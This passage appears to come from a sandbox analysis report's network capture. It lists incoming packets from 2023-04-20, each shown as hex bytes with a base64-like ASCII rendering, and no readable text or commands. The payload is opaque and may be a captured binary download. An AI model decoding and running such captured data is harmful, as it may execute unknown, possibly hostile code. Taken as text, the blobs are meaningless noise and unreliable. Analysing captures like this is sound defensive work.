37 42 37 47 75 36 64 5a 79 53 33 56 65 52 4b 48 2b 53 42 51 44 45 74 61 79 45 6f 56 59 30 4a 6b 37 59 2f 53 35 5a 65 31 4a 44 34 46 66 66 4d 2b 75 6d 79 34 77 46 78 46 6d 55 74 56 76 30 56 7a 69 6d 64 77 68 6e Data Ascii: Xza0CM80jjt+PZ99qGAzYCuW8mX6BjFuCsozBxSm2bqFsn8y+YkYAtPe7KTfkGczvixUFR9pQQO+YO9DGBUM3wfAjSgdK1JUhexiRMTOk5qF2h0Xrnv8pqIcuIImT+fZmovySoz0Ynit+utHiRTh46CYMV7T8tMc/88m8CUwqQr7PEN5Mu2Ja36Rk7B7Gu6dZyS3VeRKH+SBQDEtayEoVY0Jk7Y/S5Ze1JD4FffM+umy4wFxFmUtVv0Vzimdwhn
2023-04-20 23:03:01 UTC	2640	IN	Data Raw: 63 41 38 46 73 6e 67 52 63 32 73 45 36 62 45 43 66 4c 34 30 66 4f 4d 42 6d 48 31 61 58 77 35 46 78 4e 37 74 58 6a 4c 7a 67 66 42 33 44 59 47 6b 55 75 58 6e 2b 45 4c 39 43 35 76 36 32 35 4a 4b 36 69 64 39 61 71 6c 51 31 77 34 71 44 55 59 76 79 30 64 61 6f 48 4a 52 78 32 32 32 77 6a 48 6e 6c 2b 45 31 44 63 58 72 31 6e 50 47 6b 78 5a 4f 75 50 54 35 76 56 7a 6f 4d 61 73 5a 75 55 37 52 6e 57 51 66 34 33 4d 6d 38 6c 50 36 2b 5a 7a 31 44 33 31 79 67 68 36 52 35 42 6e 77 4c 62 6d 50 55 62 4c 2b 32 55 7a 65 58 39 4d 51 78 46 42 58 42 71 56 79 66 54 54 6c 57 70 42 4f 43 45 39 66 63 49 4a 58 32 4c 72 69 51 62 51 54 4f 52 57 57 30 7a 32 67 63 76 35 33 67 71 56 44 49 6e 73 62 4d 4e 42 72 63 61 2b 57 6f 5a 61 70 4b 53 4a 53 6f 2f 59 6f 64 2b 35 6c 62 65 6e 69 37 75 4c Data Ascii: cA8FsngRc2sE6bECfL40fOMBmH1aXw5FxN7tXjLzgfB3DYGkUuXn+EL9C5v625JK6id9aqlQ1w4qDUYvy0daoHJRx222wjHnl+E1DcXr1nPGkxZOuPT5vVzoMasZuU7RnWQf43Mm8lP6+Zz1D31ygh6R5BnwLbmPUbL+2UzeX9MQxFBXBqVyfTTlWpBOCE9fcIJX2LriQbQTORWW0z2gcv53gqVDInsbMNBrca+WoZapKSJSo/Yod+5lbeni7uL
2023-04-20 23:03:01 UTC	2672	IN	Data Raw: 75 57 44 70 7a 52 55 54 68 31 75 44 67 54 36 4d 6f 64 67 61 42 35 30 47 47 63 4b 6d 69 78 6e 75 59 49 68 50 4a 67 6d 48 64 50 39 4d 73 75 6f 44 67 79 31 54 31 6a 78 67 58 71 69 64 61 4f 55 79 69 69 48 78 2f 70 7a 31 78 52 77 64 78 68 38 39 4e 54 6f 73 4b 77 6d 70 7a 7a 6b 6e 33 50 46 50 57 31 37 77 4e 72 71 66 2f 4f 65 69 57 59 54 54 51 65 33 6e 6c 54 4d 75 79 69 63 73 42 47 52 49 39 4e 55 6d 61 69 62 35 59 70 4f 41 42 67 6e 55 48 2b 45 4d 48 48 66 41 4b 4d 50 49 70 6f 34 78 4a 34 62 54 76 4c 42 37 77 6c 30 57 4f 75 57 77 48 6b 6e 63 78 6e 68 70 33 78 67 4e 70 37 44 53 30 70 6f 48 4d 56 46 6f 58 76 2f 30 78 45 2f 49 6f 5a 69 57 6e 2b 31 63 58 63 6a 6f 39 46 58 78 79 75 4b 6c 68 35 59 6f 6d 61 4b 62 4a 44 64 6d 4b 56 4f 73 43 33 44 38 78 77 75 47 6f 38 6f Data Ascii: uWDpzRUTh1uDgT6ModgaB50GGcKmixnuYIhPJgmHdP9MsuoDgy1T1jxgXqidaOUyiiHx/pz1xRwdxh89NTosKwmpzzkn3PFPW17wNrqf/OeiWYTTQe3nlTMuyicsBGRI9NUmaib5YpOABgnUH+EMHHfAKMPIpo4xJ4bTvLB7wl0WOuWwHkncxnhp3xgNp7DS0poHMVFoXv/0xE/IoZiWn+1cXcjo9FXxyuKlh5YomaKbJDdmKVOsC3D8xwuGo8o
2023-04-20 23:03:01 UTC	2688	IN	Data Raw: 34 71 72 79 4d 71 4e 73 48 74 54 4c 53 46 32 35 76 6a 50 70 61 63 63 34 46 4a 4e 74 4c 53 71 6f 6e 6d 4a 54 51 48 36 56 4f 57 73 7a 55 74 32 6b 66 2b 6e 63 5a 55 4e 74 63 4c 77 42 48 31 4f 78 53 38 6f 36 39 77 58 2f 57 51 4f 46 34 32 54 38 68 66 6d 43 58 4d 4b 6b 57 41 32 38 4b 53 6e 76 63 51 35 55 71 4e 58 41 47 54 71 2b 41 72 39 77 41 58 37 55 6b 50 61 34 38 4f 64 78 32 35 2f 35 6c 42 78 58 2f 56 53 71 5a 69 39 4e 73 6f 44 31 7a 39 46 6e 35 69 56 71 33 6f 4d 5a 30 31 35 47 77 63 64 35 62 77 4b 6a 2f 72 61 52 6a 35 78 64 66 78 69 4f 6f 58 41 49 4b 63 7a 35 6b 77 33 76 57 6d 2b 52 75 65 4b 4e 30 2b 56 54 62 74 46 72 5a 6f 54 59 6b 4c 51 48 43 47 34 69 78 4c 64 36 7a 4d 66 61 64 77 47 54 7a 47 64 4f 63 34 33 6a 6c 52 46 39 78 62 56 46 32 72 57 62 30 4c 33 Data Ascii: 4qryMqNsHtTLSF25vjPpacc4FJNtLSqonmJTQH6VOWszUt2kf+ncZUNtcLwBH1OxS8o69wX/WQOF42T8hfmCXMKkWA28KSnvcQ5UqNXAGTq+Ar9wAX7UkPa48Odx25/5lBxX/VSqZi9NsoD1z9Fn5iVq3oMZ015Gwcd5bwKj/raRj5xdfxiOoXAIKcz5kw3vWm+RueKN0+VTbtFrZoTYkLQHCG4ixLd6zMfadwGTzGdOc43jlRF9xbVF2rWb0L3
2023-04-20 23:03:01 UTC	2704	IN	Data Raw: 71 42 59 56 71 74 6e 63 69 33 73 68 78 4d 6f 70 72 66 44 6a 47 37 6b 31 6b 46 4e 4a 59 74 65 64 35 66 4f 42 67 7a 6b 64 7a 47 31 46 4d 6f 57 56 6b 31 55 70 72 65 6a 47 68 73 78 51 35 71 50 79 72 67 5a 35 73 30 70 58 2b 63 39 75 7a 67 51 6a 79 68 6f 7a 54 47 4e 38 58 7a 37 69 36 6d 39 65 78 69 64 71 74 56 73 70 6b 61 76 62 51 67 6e 38 66 6b 32 77 4f 50 57 75 56 48 76 61 46 2b 6a 4a 77 74 6c 67 59 35 57 4e 59 4d 6d 67 6c 73 6a 76 51 4b 63 64 4f 55 58 66 72 78 67 76 34 76 56 4b 4b 30 4b 42 47 68 5a 76 30 79 55 4b 30 31 36 64 50 48 56 6b 74 7a 44 64 4f 78 77 4c 33 67 77 6c 65 79 4a 67 6f 79 69 63 74 50 57 48 41 44 72 72 71 6b 32 69 72 38 78 7a 35 5a 50 78 57 7a 75 51 46 35 42 33 37 30 2b 79 6b 34 78 44 32 53 46 68 53 43 63 58 6e 52 66 6d 4a 79 61 44 6b 55 73 Data Ascii: qBYVqtnci3shxMoprfDjG7k1kFNJYted5fOBgzkdzG1FMoWVk1UprejGhsxQ5qPyrgZ5s0pX+c9uzgQjyhozTGN8Xz7i6m9exidqtVspkavbQgn8fk2wOPWuVHvaF+jJwtlgY5WNYMmglsjvQKcdOUXfrxgv4vVKK0KBGhZv0yUK016dPHVktzDdOxwL3gwleyJgoyictPWHADrrqk2ir8xz5ZPxWzuQF5B370+yk4xD2SFhSCcXnRfmJyaDkUs
2023-04-20 23:03:01 UTC	2736	IN	Data Raw: 45 4e 61 79 75 62 51 33 58 47 74 2b 30 53 75 2b 31 54 53 5a 79 43 73 2f 31 4e 37 51 77 49 6d 6e 4a 59 72 61 74 77 61 47 47 43 4c 48 53 79 7a 47 79 6b 74 44 4c 73 51 79 4a 4a 30 4e 69 5a 48 33 33 62 6c 5a 77 66 30 64 41 4b 61 52 4b 68 2f 4c 47 69 6a 64 66 66 37 5a 51 70 6c 5a 61 2f 6f 36 30 50 79 50 54 45 61 6c 76 6c 6f 2b 56 45 59 50 45 38 5a 6e 65 61 34 62 44 30 64 66 64 54 4d 6b 4d 72 31 65 62 4b 6a 6e 44 42 4b 52 43 2f 64 51 62 69 51 35 4f 47 78 7a 4c 70 46 42 65 79 45 36 6e 32 49 36 52 6d 73 76 35 61 62 6a 41 48 30 51 36 47 54 45 67 45 6f 58 2b 68 4c 6b 38 64 75 56 46 57 4b 2b 50 58 4e 68 4b 6c 49 69 4c 76 39 42 55 61 36 4c 76 56 74 33 71 41 57 42 73 52 53 50 79 55 56 73 39 34 61 55 4c 67 58 4a 56 6a 7a 39 6a 65 33 4a 77 55 6c 34 43 53 50 49 44 33 61 Data Ascii: ENayubQ3XGt+0Su+1TSZyCs/1N7QwImnJYratwaGGCLHSyzGyktDLsQyJJ0NiZH33blZwf0dAKaRKh/LGijdff7ZQplZa/o60PyPTEalvlo+VEYPE8Znea4bD0dfdTMkMr1ebKjnDBKRC/dQbiQ5OGxzLpFBeyE6n2I6Rmsv5abjAH0Q6GTEgEoX+hLk8duVFWK+PXNhKlIiLv9BUa6LvVt3qAWBsRSPyUVs94aULgXJVjz9je3JwUl4CSPID3a
2023-04-20 23:03:01 UTC	2752	IN	Data Raw: 74 78 49 75 6d 58 4d 41 6e 53 4d 57 47 57 66 39 74 65 71 6f 58 45 65 50 30 6c 70 58 6d 4e 74 4e 78 41 6c 58 53 33 51 43 50 72 75 36 39 35 41 33 48 42 7a 36 37 68 56 59 73 41 49 77 2f 5a 57 62 4b 70 33 68 4b 72 77 6e 71 58 6a 45 6e 6a 38 63 57 4a 79 4c 6a 4c 6f 66 7a 6c 6a 45 4f 53 76 78 51 36 68 6b 75 6a 46 2b 62 6a 66 61 73 7a 47 65 46 47 39 7a 6c 78 32 74 54 64 45 52 4d 5a 32 6a 36 48 38 72 48 70 74 6c 43 37 77 69 35 61 63 36 32 50 58 38 62 42 4d 48 42 73 58 4b 30 36 30 7a 72 70 39 55 67 36 73 56 65 42 43 57 32 6d 56 64 4d 77 49 6f 48 30 68 78 76 6f 79 55 79 39 71 51 59 66 71 41 35 64 6b 62 4c 62 30 41 35 51 4e 62 56 50 56 46 31 42 33 33 4a 30 4b 44 34 78 30 61 4d 48 2b 76 48 67 46 41 41 2f 5a 6a 4c 6b 42 36 6f 43 4a 51 50 78 53 47 4d 54 2b 6e 68 55 62 Data Ascii: txIumXMAnSMWGWf9teqoXEeP0lpXmNtNxAlXS3QCPru695A3HBz67hVYsAIw/ZWbKp3hKrwnqXjEnj8cWJyLjLofzljEOSvxQ6hkujF+bjfaszGeFG9zlx2tTdERMZ2j6H8rHptlC7wi5ac62PX8bBMHBsXK060zrp9Ug6sVeBCW2mVdMwIoH0hxvoyUy9qQYfqA5dkbLb0A5QNbVPVF1B33J0KD4x0aMH+vHgFAA/ZjLkB6oCJQPxSGMT+nhUb
2023-04-20 23:03:01 UTC	2768	IN	Data Raw: 6e 35 69 62 2f 42 7a 49 57 74 6e 78 32 4d 64 46 43 55 36 74 38 78 48 76 66 30 76 33 44 6e 6a 4f 47 2b 2b 6d 4f 62 79 64 7a 77 41 37 79 37 55 61 59 37 65 7a 4e 58 63 33 4e 6d 67 55 2f 2f 38 59 69 6f 32 39 63 6e 32 46 49 50 33 69 6f 6f 2f 6a 62 72 77 44 5a 64 4d 67 6a 31 6c 69 4e 77 73 73 4c 4d 68 54 47 71 55 56 36 32 58 49 54 66 4a 4a 4c 46 41 30 65 71 43 70 45 67 65 73 63 62 6a 4e 75 4c 37 73 54 38 4e 68 2f 34 4a 6e 6a 52 37 33 47 2b 6a 6a 39 34 41 6b 58 6d 45 73 46 6f 6b 46 46 39 4f 56 71 41 35 76 6e 64 4c 65 69 51 35 51 53 44 73 30 62 54 79 36 6e 4e 6e 78 63 51 46 6d 6d 6f 30 70 45 35 73 2b 30 4f 4a 66 57 50 71 6c 6c 53 7a 4b 68 64 43 6b 37 6c 4f 6d 38 47 38 67 4f 66 72 2b 77 78 2f 64 70 56 50 6b 61 61 2b 32 34 65 32 43 76 4e 6f 44 73 71 77 7a 61 45 36 Data Ascii: n5ib/BzIWtnx2MdFCU6t8xHvf0v3DnjOG++mObydzwA7y7UaY7ezNXc3NmgU//8Yio29cn2FIP3ioo/jbrwDZdMgj1liNwssLMhTGqUV62XITfJJLFA0eqCpEgescbjNuL7sT8Nh/4JnjR73G+jj94AkXmEsFokFF9OVqA5vndLeiQ5QSDs0bTy6nNnxcQFmmo0pE5s+0OJfWPqllSzKhdCk7lOm8G8gOfr+wx/dpVPkaa+24e2CvNoDsqwzaE6
2023-04-20 23:03:01 UTC	2864	IN	Data Raw: 58 57 74 6d 45 6c 71 77 68 6a 67 72 78 2b 2f 5a 62 77 73 6b 4c 4f 32 41 35 6b 56 57 38 56 63 50 32 72 33 4a 47 49 74 62 4f 30 31 36 63 55 36 36 46 39 41 62 71 55 70 46 58 75 58 7a 34 45 61 4c 4c 5a 34 69 6e 31 56 50 71 2b 7a 68 2f 69 48 38 6a 62 64 75 44 5a 37 55 71 79 70 58 47 6a 30 6c 76 6a 6b 2f 38 6a 54 55 74 4f 41 45 6f 76 34 79 36 51 71 39 76 6b 4e 78 6c 55 64 41 54 46 70 36 39 34 36 36 57 74 30 74 50 31 69 31 35 59 38 53 6d 33 38 67 42 4c 47 53 57 33 6b 47 43 6b 67 46 33 48 58 52 58 57 48 4c 74 33 62 41 57 54 6b 62 69 6c 78 50 65 39 5a 58 34 76 79 7a 61 76 75 6a 65 48 62 4b 48 2f 46 51 37 73 68 74 59 71 75 6d 7a 62 39 4b 31 38 70 78 6e 68 35 68 6c 47 54 49 53 43 2b 2f 43 43 4e 72 2b 2f 4f 37 61 6f 61 57 50 41 34 66 55 71 44 41 32 4c 6f 65 66 45 78 Data Ascii: XWtmElqwhjgrx+/ZbwskLO2A5kVW8VcP2r3JGItbO016cU66F9AbqUpFXuXz4EaLLZ4in1VPq+zh/iH8jbduDZ7UqypXGj0lvjk/8jTUtOAEov4y6Qq9vkNxlUdATFp69466Wt0tP1i15Y8Sm38gBLGSW3kGCkgF3HXRXWHLt3bAWTkbilxPe9ZX4vyzavujeHbKH/FQ7shtYqumzb9K18pxnh5hlGTISC+/CCNr+/O7aoaWPA4fUqDA2LoefEx
2023-04-20 23:03:01 UTC	2880	IN	Data Raw: 49 4b 36 62 78 73 73 34 63 59 4f 54 4b 48 71 48 45 33 4c 39 45 4f 45 72 47 67 74 4c 38 68 30 57 33 68 33 64 5a 31 64 78 38 6d 42 2f 63 43 5a 47 65 72 37 73 5a 5a 32 34 73 58 59 38 37 6c 5a 76 43 54 41 45 70 79 61 30 34 47 43 79 35 54 31 33 31 57 6b 66 77 61 58 75 49 67 59 55 35 64 31 37 6a 57 55 73 5a 38 74 58 41 6a 31 39 58 45 6a 37 6c 4f 78 6a 76 37 41 49 65 7a 50 65 41 47 42 56 54 67 6a 41 77 41 4c 2f 2f 74 41 57 64 65 44 65 71 34 36 49 79 4a 70 59 4c 34 35 32 6d 7a 33 4c 7a 36 69 42 38 34 34 37 6d 63 6d 62 73 66 59 6e 71 61 50 6e 79 44 59 61 67 56 77 44 68 30 52 48 51 36 46 41 6c 49 45 79 69 7a 78 4d 7a 6e 59 58 36 53 6c 57 6c 63 35 4a 68 74 46 50 42 2b 43 74 58 52 58 6c 35 6c 34 35 6e 79 71 77 49 31 37 79 56 4c 58 73 51 49 6e 62 48 51 5a 77 73 74 77 Data Ascii: IK6bxss4cYOTKHqHE3L9EOErGgtL8h0W3h3dZ1dx8mB/cCZGer7sZZ24sXY87lZvCTAEpya04GCy5T131WkfwaXuIgYU5d17jWUsZ8tXAj19XEj7lOxjv7AIezPeAGBVTgjAwAL//tAWdeDeq46IyJpYL452mz3Lz6iB8447mcmbsfYnqaPnyDYagVwDh0RHQ6FAlIEyizxMznYX6SlWlc5JhtFPB+CtXRXl5l45nyqwI17yVLXsQInbHQZwstw
2023-04-20 23:03:01 UTC	2896	IN	Data Raw: 4a 43 48 64 42 38 34 42 44 4a 52 31 34 39 4e 43 36 62 4b 4d 35 63 50 35 6e 45 77 46 52 73 48 72 4c 4a 6e 30 5a 6b 6b 73 31 31 63 79 50 76 4b 47 46 7a 5a 70 33 70 59 74 38 52 53 30 36 42 53 32 35 73 56 61 74 73 67 73 46 31 62 66 62 6c 67 6d 7a 71 46 43 69 68 37 42 6d 67 75 35 5a 50 4b 51 78 42 6f 30 4c 59 34 4a 47 53 51 71 64 76 79 37 41 39 57 6c 7a 66 48 4b 75 59 66 55 65 78 43 2b 31 6d 6d 63 79 67 63 61 50 72 46 73 41 4f 69 44 41 58 44 70 4b 34 31 6a 65 4b 74 4e 62 50 6a 46 74 78 6e 47 6f 44 6d 52 66 2f 66 63 47 6b 61 32 79 66 4d 62 47 4d 48 51 79 6e 46 2b 66 51 4e 6f 61 6e 4d 46 72 35 42 61 72 67 6b 5a 7a 44 48 2f 76 42 51 4f 43 72 2b 56 58 37 32 32 36 2b 52 6e 73 64 39 69 4e 79 75 70 36 6c 2f 5a 56 70 4f 34 37 4e 6b 62 50 57 65 52 4e 56 44 4b 42 39 62 Data Ascii: JCHdB84BDJR149NC6bKM5cP5nEwFRsHrLJn0Zkks11cyPvKGFzZp3pYt8RS06BS25sVatsgsF1bfblgmzqFCih7Bmgu5ZPKQxBo0LY4JGSQqdvy7A9WlzfHKuYfUexC+1mmcygcaPrFsAOiDAXDpK41jeKtNbPjFtxnGoDmRf/fcGka2yfMbGMHQynF+fQNoanMFr5BargkZzDH/vBQOCr+VX7226+Rnsd9iNyup6l/ZVpO47NkbPWeRNVDKB9b
2023-04-20 23:03:01 UTC	2912	IN	Data Raw: 6e 33 78 72 4b 6b 59 53 4e 73 58 2b 4a 62 50 32 67 41 33 6e 41 31 63 56 74 71 72 6d 68 53 55 53 62 69 4e 4c 6b 64 53 38 73 42 53 78 54 31 6c 71 4c 6d 32 44 61 62 38 36 70 45 69 6d 49 65 79 34 4a 68 36 56 79 48 65 32 49 68 65 4b 5a 67 58 33 4d 51 4f 36 6a 35 42 33 41 51 46 5a 41 57 34 66 32 7a 70 4a 53 79 36 59 52 73 69 79 4b 53 51 74 6c 54 65 67 33 75 65 62 34 52 31 47 37 4a 65 37 2f 44 2f 44 4b 74 33 51 6a 46 47 45 4d 66 39 65 52 51 32 46 78 70 34 34 78 45 66 42 4d 36 6d 38 7a 6c 49 42 39 2b 68 50 52 45 6b 39 37 6e 64 51 66 39 6a 6b 6f 57 30 79 43 45 75 50 41 4b 42 38 63 39 76 5a 50 42 35 36 7a 4d 31 5a 79 47 34 43 50 48 6c 74 34 59 4e 71 72 76 7a 6d 2f 2f 36 5a 6a 74 63 37 6c 35 41 65 4e 47 77 42 79 4d 66 45 32 71 46 6b 61 59 53 6f 63 72 6c 67 37 49 46 Data Ascii: n3xrKkYSNsX+JbP2gA3nA1cVtqrmhSUSbiNLkdS8sBSxT1lqLm2Dab86pEimIey4Jh6VyHe2IheKZgX3MQO6j5B3AQFZAW4f2zpJSy6YRsiyKSQtlTeg3ueb4R1G7Je7/D/DKt3QjFGEMf9eRQ2Fxp44xEfBM6m8zlIB9+hPREk97ndQf9jkoW0yCEuPAKB8c9vZPB56zM1ZyG4CPHlt4YNqrvzm//6Zjtc7l5AeNGwByMfE2qFkaYSocrlg7IF
2023-04-20 23:03:01 UTC	2944	IN	Data Raw: 36 76 69 2b 35 6a 4f 38 57 36 72 36 48 51 63 72 38 54 75 6f 48 6b 36 50 64 50 71 78 54 76 62 46 4b 46 6a 2f 67 61 6c 7a 56 59 65 30 7a 4c 7a 74 63 75 77 43 65 6c 6d 39 46 49 58 4f 6b 53 2f 42 51 75 33 78 65 48 71 4b 42 37 37 6e 67 65 39 71 5a 5a 46 30 57 66 69 67 63 5a 55 55 73 44 54 79 78 56 6f 38 32 39 35 73 59 76 6a 33 38 57 73 2b 38 49 7a 6d 77 6b 6f 30 77 44 4f 4c 68 4a 52 72 4d 2b 46 4c 59 49 74 78 47 79 78 31 67 48 6b 65 38 6f 54 52 57 4b 42 45 74 4d 36 44 7a 4c 41 39 30 2b 66 43 31 69 4e 31 48 59 75 61 30 61 31 6d 75 6f 64 4d 79 72 72 7a 78 2f 4c 47 70 56 5a 4d 49 5a 38 4b 44 58 72 67 50 32 55 68 4b 2f 4d 78 36 50 4d 38 6f 6e 2b 4d 51 36 38 42 33 7a 63 6e 64 67 35 32 77 42 38 48 64 75 4b 30 65 41 45 62 44 53 47 31 41 39 44 58 55 6d 52 58 66 49 6c Data Ascii: 6vi+5jO8W6r6HQcr8TuoHk6PdPqxTvbFKFj/galzVYe0zLztcuwCelm9FIXOkS/BQu3xeHqKB77nge9qZZF0WfigcZUUsDTyxVo8295sYvj38Ws+8Izmwko0wDOLhJRrM+FLYItxGyx1gHke8oTRWKBEtM6DzLA90+fC1iN1HYua0a1muodMyrrzx/LGpVZMIZ8KDXrgP2UhK/Mx6PM8on+MQ68B3zcndg52wB8HduK0eAEbDSG1A9DXUmRXfIl
2023-04-20 23:03:01 UTC	2976	IN	Data Raw: 30 66 53 6f 4f 66 56 39 65 68 6c 30 46 50 64 71 41 4f 49 47 2f 47 2f 62 65 2f 6d 53 4c 51 71 53 34 36 4a 6e 34 75 71 54 31 48 52 38 75 38 67 68 33 53 4d 37 41 52 69 38 75 57 56 69 66 4e 45 76 7a 36 62 31 63 6d 32 64 44 50 63 30 39 50 6d 4b 65 36 45 56 36 58 62 53 70 72 71 79 75 75 33 62 45 45 45 78 61 66 4a 41 61 6d 35 51 48 41 42 41 52 45 75 41 50 72 77 45 41 47 75 65 4f 54 78 6f 52 64 6f 6b 64 74 6a 57 64 46 69 6f 64 52 46 6d 42 67 39 44 33 35 7a 48 2b 65 37 76 37 52 6d 49 75 31 47 6a 79 31 53 76 64 64 30 77 4d 4e 6d 5a 62 54 46 43 39 2f 78 50 51 35 74 7a 58 77 4a 6e 6b 6e 4b 46 68 51 70 51 38 37 38 41 6b 62 2b 51 35 6e 32 59 44 4a 43 70 33 48 43 6f 6d 6b 52 73 53 52 47 37 43 39 50 4a 63 47 6e 52 78 62 73 78 76 65 74 44 46 39 4f 49 44 72 6c 68 4b 63 54 Data Ascii: 0fSoOfV9ehl0FPdqAOIG/G/be/mSLQqS46Jn4uqT1HR8u8gh3SM7ARi8uWVifNEvz6b1cm2dDPc09PmKe6EV6XbSprqyuu3bEEExafJAam5QHABAREuAPrwEAGueOTxoRdokdtjWdFiodRFmBg9D35zH+e7v7RmIu1Gjy1Svdd0wMNmZbTFC9/xPQ5tzXwJnknKFhQpQ878Akb+Q5n2YDJCp3HComkRsSRG7C9PJcGnRxbsxvetDF9OIDrlhKcT
2023-04-20 23:03:01 UTC	3008	IN	Data Raw: 45 59 46 52 7a 79 61 46 66 6c 55 61 45 68 5a 35 6a 6b 62 73 55 6d 58 75 74 39 74 52 45 55 50 44 39 6c 62 70 31 4b 61 50 73 32 36 65 32 54 4a 2b 55 2f 78 49 66 38 4c 6f 37 4f 43 32 4e 7a 66 32 51 47 78 78 50 49 34 56 49 36 4c 53 35 34 35 46 4e 32 42 4f 70 68 72 57 75 44 5a 63 6f 61 6c 43 48 65 70 37 50 64 61 34 35 4b 46 31 33 79 4b 72 2b 76 4c 51 36 47 7a 51 64 68 6e 56 50 37 55 45 4a 53 36 61 65 77 36 75 62 66 63 68 71 74 66 66 59 67 4b 4b 58 6f 7a 35 5a 59 74 68 32 65 33 6b 33 6e 4a 56 54 42 4c 6d 70 43 4f 46 65 58 77 33 43 6c 4b 2f 42 6e 6c 72 74 38 37 4c 76 2f 6a 51 53 5a 53 67 71 44 74 67 64 79 56 2b 6e 44 4f 57 2f 32 6b 74 47 6d 56 52 68 6e 4d 45 38 77 46 55 54 6b 55 6f 55 73 67 6f 53 33 4c 69 77 56 31 6c 72 66 65 52 64 71 4e 58 38 4e 74 6c 7a 42 6e Data Ascii: EYFRzyaFflUaEhZ5jkbsUmXut9tREUPD9lbp1KaPs26e2TJ+U/xIf8Lo7OC2Nzf2QGxxPI4VI6LS545FN2BOphrWuDZcoalCHep7Pda45KF13yKr+vLQ6GzQdhnVP7UEJS6aew6ubfchqtffYgKKXoz5ZYth2e3k3nJVTBLmpCOFeXw3ClK/Bnlrt87Lv/jQSZSgqDtgdyV+nDOW/2ktGmVRhnME8wFUTkUoUsgoS3LiwV1lrfeRdqNX8NtlzBn
2023-04-20 23:03:01 UTC	3040	IN	Data Raw: 76 63 46 70 77 6c 75 36 70 6c 68 49 30 57 78 49 66 63 33 41 72 4f 36 7a 46 4f 42 5a 79 35 6e 77 49 50 79 39 7a 53 4a 45 6a 70 59 30 41 70 75 71 67 77 2f 51 34 70 4f 44 6d 72 6d 77 73 4d 62 72 6e 53 55 6b 67 4c 56 6d 31 31 79 43 64 61 61 67 64 64 73 59 71 46 33 71 67 4e 2f 7a 53 50 36 69 32 66 50 6d 7a 53 37 45 63 4d 38 53 68 52 57 55 73 63 47 31 54 51 49 57 2f 34 49 59 73 68 53 57 75 4c 53 41 62 65 78 57 41 6c 77 4d 2b 55 79 4e 6c 4c 56 4e 64 6c 64 79 2b 30 67 73 34 50 57 34 67 41 53 5a 7a 78 53 69 78 41 32 54 72 53 46 65 77 59 74 4d 43 44 42 7a 70 49 73 6f 37 69 6e 4d 4b 79 79 48 35 61 59 4b 72 32 76 56 76 49 42 78 57 65 76 74 33 2f 69 4b 38 62 49 78 32 47 65 59 4f 71 48 49 65 33 58 52 4b 5a 73 35 6a 6d 79 73 6d 69 43 57 6e 7a 35 64 51 41 75 53 63 66 35 Data Ascii: vcFpwlu6plhI0WxIfc3ArO6zFOBZy5nwIPy9zSJEjpY0Apuqgw/Q4pODmrmwsMbrnSUkgLVm11yCdaagddsYqF3qgN/zSP6i2fPmzS7EcM8ShRWUscG1TQIW/4IYshSWuLSAbexWAlwM+UyNlLVNdldy+0gs4PW4gASZzxSixA2TrSFewYtMCDBzpIso7inMKyyH5aYKr2vVvIBxWevt3/iK8bIx2GeYOqHIe3XRKZs5jmysmiCWnz5dQAuScf5
2023-04-20 23:03:01 UTC	3056	IN	Data Raw: 2f 2f 67 51 2f 2f 2f 32 6f 50 2f 2f 39 53 6a 2f 2f 2f 4f 67 2f 2f 2f 79 43 50 2f 2f 38 46 6a 2f 2f 2b 36 51 2f 2f 2f 73 73 50 2f 2f 36 72 44 2f 2f 2b 69 51 2f 2f 2f 6d 55 50 2f 2f 34 2b 6a 2f 2f 2b 46 51 2f 2f 2f 65 67 50 2f 2f 32 33 44 2f 2f 39 67 49 2f 2f 2f 55 53 50 2f 2f 30 41 6a 2f 2f 38 73 34 2f 2f 2f 46 65 50 2f 2f 76 73 44 2f 2f 37 58 41 2f 2f 2b 71 63 50 2f 2f 6e 78 6a 2f 2f 2f 39 34 2f 2f 2f 2f 65 50 2f 2f 2f 33 6a 2f 2f 2f 39 34 41 41 41 66 51 41 41 41 4c 75 41 41 41 43 73 52 2f 2f 2f 2f 39 51 41 41 41 44 58 2f 2f 2f 39 6b 41 41 41 42 61 76 2f 2f 2f 4e 73 41 41 41 38 6b 41 41 41 44 74 2f 2f 2f 2f 79 34 41 41 41 41 67 41 41 41 41 44 50 2f 2f 2f 2f 55 41 41 41 41 44 41 41 41 41 41 41 41 41 41 41 51 41 41 41 41 46 41 41 41 41 42 67 41 41 41 41 63 Data Ascii: //gQ///2oP//9Sj///Og///yCP//8Fj//+6Q///ssP//6rD//+iQ///mUP//4+j//+FQ///egP//23D//9gI///USP//0Aj//8s4///FeP//vsD//7XA//+qcP//nxj///94////eP///3j///94AAAfQAAALuAAACsR////9QAAADX///9kAAABav///NsAAA8kAAADt////y4AAAAgAAAADP////UAAAADAAAAAAAAAAQAAAAFAAAABgAAAAc
2023-04-20 23:03:01 UTC	3088	IN	Data Raw: 6f 67 59 41 43 55 73 6f 69 64 4a 58 4a 79 42 79 48 79 57 69 42 67 41 4a 53 79 69 4a 30 6c 63 37 49 48 45 66 4a 61 49 47 41 41 6c 4c 4b 49 6e 53 56 73 55 67 63 42 38 6c 6f 67 59 41 43 55 73 6f 69 64 4a 57 32 69 42 76 48 79 57 69 42 67 41 4a 53 79 69 4a 30 6c 62 76 49 47 34 66 4a 61 49 47 41 41 6c 4c 4b 49 6e 53 56 76 30 67 62 52 38 6c 6f 67 59 41 43 55 73 6f 69 64 4a 57 38 79 42 73 48 79 57 69 42 67 41 4a 53 79 69 4a 30 6c 61 47 49 47 73 66 4a 61 49 47 41 41 6c 4c 4b 49 6e 53 56 70 55 67 61 68 38 6c 6f 67 59 41 43 55 73 6f 69 64 4a 57 71 53 42 70 48 79 57 69 42 67 41 4a 53 79 69 4a 30 6c 61 39 49 47 67 66 4a 61 49 47 41 41 6c 4c 4b 49 6e 53 56 6b 6b 67 5a 78 38 6c 6f 67 59 41 43 55 73 6f 69 64 4a 57 56 53 42 6d 48 79 57 69 42 67 41 4a 53 79 69 4a 30 6c 5a Data Ascii: ogYACUsoidJXJyByHyWiBgAJSyiJ0lc7IHEfJaIGAAlLKInSVsUgcB8logYACUsoidJW2iBvHyWiBgAJSyiJ0lbvIG4fJaIGAAlLKInSVv0gbR8logYACUsoidJW8yBsHyWiBgAJSyiJ0laGIGsfJaIGAAlLKInSVpUgah8logYACUsoidJWqSBpHyWiBgAJSyiJ0la9IGgfJaIGAAlLKInSVkkgZx8logYACUsoidJWVSBmHyWiBgAJSyiJ0lZ
